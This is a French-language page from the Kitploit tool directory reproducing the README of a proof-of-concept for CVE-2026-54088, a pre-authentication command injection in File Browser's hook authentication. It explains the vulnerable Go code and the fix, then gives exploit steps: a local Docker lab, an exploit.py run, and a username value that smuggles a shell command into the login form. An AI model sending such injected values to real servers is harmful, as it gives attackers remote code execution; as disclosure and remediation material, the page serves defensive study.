Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/saku0512/cve-2026-54088-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-54088 : Injection de commande par substitution shell dans le hook d'authentification (RCE avant authentification)

Version anglaise

Vue d'ensemble

Ce dépôt est une preuve de concept (PoC) de la vulnérabilité critique d'injection de commandes système CVE-2026-54088, présente dans File Browser en version <= 2.63.5.

Cette vulnérabilité se situe dans la fonctionnalité Hook Authentication. Lorsqu'un administrateur configure File Browser pour authentifier les utilisateurs au moyen d'une commande externe, les valeurs username et password envoyées lors de la connexion sont développées par os.Expand() dans la chaîne de commande configurée, sans échappement. Un attaquant distant non authentifié peut ainsi injecter une syntaxe shell via la requête de connexion et exécuter des commandes arbitraires avant même que l'authentification ne réussisse.

Découvreur : saku0512 (https://github.com/Saku0512)


Avertissement

Ce projet est destiné uniquement à des fins éducatives et de tests de sécurité éthiques.

L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'actes illégaux commis avec cet outil. L'accès non autorisé à des systèmes informatiques est illégal. N'utilisez ce logiciel que sur des environnements pour lesquels vous disposez d'une autorisation explicite.


Détails de la vulnérabilité

  • ID CVE : CVE-2026-54088
  • Advisory : GHSA-m93h-4hw7-5qcm
  • Type : Injection de commandes système (CWE-78)
  • Impact : Exécution de code à distance avant authentification (RCE)
  • Versions affectées : File Browser <= 2.63.5
  • Version corrigée : File Browser 2.63.6
  • Fichier affecté : auth/hook.go
  • Fonction affectée : HookAuth.RunCommand

Cause racine

HookAuth.RunCommand() divise la commande d'authentification configurée puis développe les espaces réservés des identifiants à l'aide de données de requête contrôlées par l'attaquant.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Si la commande hook est configurée comme suit :

root@kitploit:~
sh -c $USERNAME

Si un attaquant envoie un nom d'utilisateur tel que :

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Lors de la tentative de connexion, le serveur exécute le script shell contrôlé par l'attaquant. Aucun compte ni mot de passe valide n'est requis.

Correctif

Ce problème a été corrigé dans le commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f en supprimant le traitement de substitution des identifiants dans la chaîne de commande du hook. La commande hook est désormais exécutée telle que configurée, et les identifiants ne sont transmis qu'en tant que variables d'environnement.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

Le traitement vulnérable supprimé est la boucle os.Expand() qui réécrivait les arguments de la commande avec des identifiants contrôlés par l'attaquant avant l'appel à exec.Command(). Ce correctif ajoute également des tests de régression vérifiant que la commande hook ne peut pas être modifiée par des identifiants injectés et que USERNAME / PASSWORD restent disponibles pour le hook via les variables d'environnement.


Proof of Concept (Utilisation)

1. Configuration de l'environnement

Démarrez un environnement File Browser vulnérable. Le service filebrowser-init crée la base de données et active le Hook Authentication avec une commande vulnérable.

root@kitploit:~
docker compose up -d

La cible est disponible à l'adresse suivante :

root@kitploit:~
http://localhost:8080

2. Exécution de l'exploit

Exécutez le script d'exploit depuis ce répertoire :

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Cet exploit envoie une seule requête de connexion non authentifiée à /api/login. L'authentification est censée échouer, mais la commande injectée est exécutée au préalable.

3. Vérification via la GUI

Ouvrez l'écran de connexion de File Browser dans votre navigateur :

root@kitploit:~
http://localhost:8080

Saisissez les valeurs suivantes dans le formulaire de connexion, puis cliquez sur le bouton de connexion :

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

La connexion échoue, mais l'exécution de la commande du Hook Authentication a lieu avant que le résultat de l'authentification ne soit renvoyé. Vérifiez avec la commande suivante que le fichier marqueur a bien été créé dans le conteneur par l'opération effectuée via la GUI :

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Si le fichier existe, cela confirme que la RCE avant authentification s'est également produite via l'opération de connexion depuis la GUI.

4. Vérification du PoC en CLI

Vérifiez que la commande a été exécutée à l'intérieur du conteneur File Browser :

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Si le fichier existe, la RCE avant authentification est confirmée.

5. Nettoyage

root@kitploit:~
docker compose down -v

Remédiation

Mettez à jour File Browser vers la version 2.63.6 ou une version ultérieure.

Les identifiants ne doivent pas être intégrés dans la chaîne de commande shell, mais transmis au hook uniquement sous forme de variables d'environnement. Pour les autres chemins d'exécution de commandes, il convient également d'éviter toute évaluation par le shell ou d'appliquer une séparation stricte des arguments ainsi qu'un échappement rigoureux.


Références

  • Dépôt GitHub de File Browser
  • Implémentation vulnérable de File Browser v2.63.5
  • Commit de correctif : suppression de l'authentification hook non documentée avec substitution shell
Télécharger l’outil